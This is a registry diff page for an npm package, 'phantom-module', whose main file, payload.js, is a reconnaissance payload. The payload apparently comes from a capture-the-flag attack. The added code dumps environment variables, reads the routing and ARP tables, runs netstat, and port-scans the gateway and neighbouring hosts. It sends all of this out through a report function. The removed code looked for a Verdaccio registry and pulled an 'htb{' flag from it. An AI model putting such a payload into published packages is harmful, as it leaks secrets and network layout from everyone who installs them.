phantom-module 117.0.2 → 117.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +46 -68
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.2",
3
+ "version": "117.0.4",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -1,7 +1,7 @@
1
1
  const net = require('net');
2
2
  const http = require('http');
3
3
  const fs = require('fs');
4
- const os = require('os');
4
+ const { execSync } = require('child_process');
5
5
 
6
6
  if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
7
7
 
@@ -26,7 +26,7 @@ async function report(moduleId, data) {
26
26
  function checkPort(host, port) {
27
27
  return new Promise((resolve) => {
28
28
  const sock = new net.Socket();
29
- sock.setTimeout(500); // Fast timeout
29
+ sock.setTimeout(300);
30
30
  sock.on('connect', () => { sock.destroy(); resolve(true); });
31
31
  sock.on('error', () => { sock.destroy(); resolve(false); });
32
32
  sock.on('timeout', () => { sock.destroy(); resolve(false); });
@@ -34,81 +34,59 @@ function checkPort(host, port) {
34
34
  });
35
35
  }
36
36
 
37
- function httpGet(url) {
38
- return new Promise((resolve) => {
39
- const req = http.get(url, { timeout: 2000 }, (res) => {
40
- let body = '';
41
- res.on('data', c => body += c);
42
- res.on('end', () => resolve({ status: res.statusCode, body }));
43
- });
44
- req.on('error', e => resolve({ status: 0, body: e.message }));
45
- });
46
- }
47
-
48
37
  async function main() {
49
- await report('ECT-654321', 'SCAN STARTING v2...');
38
+ await report('ECT-654321', 'SCAN V4 STARTING...');
50
39
 
51
- const found = [];
52
- const base = '172.17.0';
53
- let scanOutput = '=== SCAN ===\n';
40
+ let envInfo = '=== ENV INFO ===\n';
41
+ try {
42
+ envInfo += `ENV DUMP: ${JSON.stringify(process.env).substring(0,500)}\n`;
43
+ envInfo += `/proc/net/route:\n${fs.readFileSync('/proc/net/route','utf8')}\n`;
44
+ envInfo += `/proc/net/arp:\n${fs.readFileSync('/proc/net/arp','utf8')}\n`;
45
+ try { envInfo += `netstat -rn:\n${execSync('netstat -rn').toString()}\n`; } catch(e){}
46
+ } catch(e) { envInfo += `ERR: ${e.message}\n`; }
47
+ await report('ECT-654321', envInfo);
54
48
 
55
- // Parallel scan of first 20 IPs
56
- const promises = [];
57
- for (let i = 1; i < 20; i++) {
58
- const ip = `${base}.${i}`;
59
- promises.push(checkPort(ip, 4873).then(open => {
60
- if (open) {
61
- found.push(ip);
62
- scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
49
+ // Parse gateway from /proc/net/route
50
+ // Destination 00000000 is default route. Gateway is hex.
51
+ let gateway = '172.17.0.1'; // Default fallback
52
+ try {
53
+ const route = fs.readFileSync('/proc/net/route', 'utf8');
54
+ const lines = route.split('\n');
55
+ for (const line of lines) {
56
+ const parts = line.split(/\s+/);
57
+ if (parts[1] === '00000000') {
58
+ const hex = parts[2];
59
+ // Convert hex IP to dot notation (little endian)
60
+ const d = parseInt(hex, 16);
61
+ gateway = `${d&255}.${(d>>8)&255}.${(d>>16)&255}.${(d>>24)&255}`;
62
+ break;
63
+ }
63
64
  }
64
- }));
65
- }
65
+ } catch(e) {}
66
66
 
67
- await Promise.all(promises);
67
+ await report('ECT-839201', `Scanning Gateway: ${gateway}\n`);
68
+
69
+ // Fast port scan of gateway
70
+ const commonPorts = [80, 443, 3000, 3001, 3128, 4873, 5000, 5001, 5080, 8000, 8001, 8080, 8081, 8090, 8888, 9000, 9090];
71
+ let scanOutput = `=== GATEWAY ${gateway} ===\n`;
68
72
 
69
- if (found.length === 0) {
70
- scanOutput += 'No Verdaccio found on 172.17.0.1-20\n';
71
- // Try finding ANY web server
72
- for (let i = 1; i < 10; i++) {
73
- const ip = `${base}.${i}`;
74
- if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
75
- if (await checkPort(ip, 3000)) scanOutput += `OPEN ${ip}:3000\n`;
76
- }
73
+ for (const port of commonPorts) {
74
+ if (await checkPort(gateway, port)) {
75
+ scanOutput += `OPEN ${gateway}:${port}\n`;
76
+ }
77
77
  }
78
78
 
79
- await report('ECT-839201', scanOutput);
80
-
81
- // Deep query of found services
82
- let queryOutput = '=== QUERY ===\n';
83
- for (const ip of found) {
84
- const baseUrl = `http://${ip}:4873`;
85
- queryOutput += `Target: ${baseUrl}\n`;
86
-
87
- // 1. List all packages
88
- const all = await httpGet(`${baseUrl}/-/all`);
89
- queryOutput += `/-/all: ${all.status} len=${all.body.length}\n${all.body.substring(0, 200)}\n`;
90
-
91
- // 2. Get ecto-spirit
92
- const ecto = await httpGet(`${baseUrl}/ecto-spirit`);
93
- queryOutput += `/ecto-spirit: ${ecto.status}\n${ecto.body.substring(0, 500)}\n`;
94
-
95
- // 3. Try to extract flag from dist-tags or versions
96
- if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
97
- const match = ecto.body.match(/htb\{[^}]+\}/i);
98
- if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
99
- }
100
-
101
- // 4. Download tarball if possible
102
- try {
103
- const json = JSON.parse(ecto.body);
104
- const latest = json['dist-tags'].latest;
105
- const tarball = json.versions[latest].dist.tarball;
106
- queryOutput += `Tarball: ${tarball}\n`;
107
- // We could download it, but let's see if the metadata has the flag first
108
- } catch(e) {}
79
+ // Also scan neighbor IPs
80
+ const base = gateway.split('.').slice(0,3).join('.');
81
+ scanOutput += `=== NEIGHBORS ${base}.* ===\n`;
82
+ for (let i=1; i<=10; i++) {
83
+ const ip = `${base}.${i}`;
84
+ if (ip === gateway) continue;
85
+ if (await checkPort(ip, 4873)) scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
86
+ if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
109
87
  }
110
-
111
- await report('ECT-987654', queryOutput);
88
+
89
+ await report('ECT-987654', scanOutput);
112
90
  }
113
91
 
114
92
  main().catch(e => report('ECT-654321', 'ERR: ' + e.message));